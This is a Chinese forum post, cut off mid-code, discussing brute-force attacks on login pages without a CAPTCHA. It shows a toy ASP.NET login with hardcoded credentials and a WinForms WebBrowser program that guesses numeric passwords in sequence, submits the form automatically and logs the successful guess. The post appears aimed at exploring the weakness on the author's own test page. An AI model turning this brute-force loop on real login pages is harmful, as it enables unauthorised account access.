日期:2014-05-17  浏览次数:20989 次

无验证码的登录页面暴力进入分析
想和大家讨论一个暴力登录的问题

自己用ASP.NET写了一个登录页面

protected void Button1_Click(object sender, EventArgs e)
        {
            if (this.TextBox1.Text.Trim()=="123" && this.TextBox2.Text.Trim()=="66666")
            {
                Server.Transfer("Success.htm");
            }
            else
            {
                Response.Write("<script>alert('NO');</script>");
            }
        }


可以看到如果用户名与密码正确的话,就转到成功页面,如果不正确的话,依然停在此页面,只是返回一个alert的提示。

然后再另一个solution写了一个暴力登录的winform小程序。使用的是WebBrowser.其关键部分是

private void wb_DocumentCompleted(object sender, EventArgs e)
        {
            MyWebBrowser webBrowser = sender as MyWebBrowser;
            HtmlDocument doc = webBrowser.Document;
            if (doc.Title == Login")//一旦返回的是登录界面,说明密码错误,tempPass加1接着尝试
            {
                webBrowser.Info.Temp = _tempPass;
                _tempPass++;
                HtmlElement txtName = doc.GetElementById("TextBox1");
                txtName.InnerText = "admin";
                HtmlElement txtPassword = doc.GetElementById("TextBox2");
                txtPassword.InnerText = webBrowser.Info.Temp.ToString();
                HtmlElement clickBtn = doc.GetElementById("Button1");
                clickBtn.InvokeMember("Click");
            }
            else
            {
                using (StreamWriter sw = new StreamWriter("C:\\Projects\\WebLoginsimulation\\WebLoginsimulation\\Log.txt"))
                {
                    sw.WriteLine(webBrowser.Info.Temp);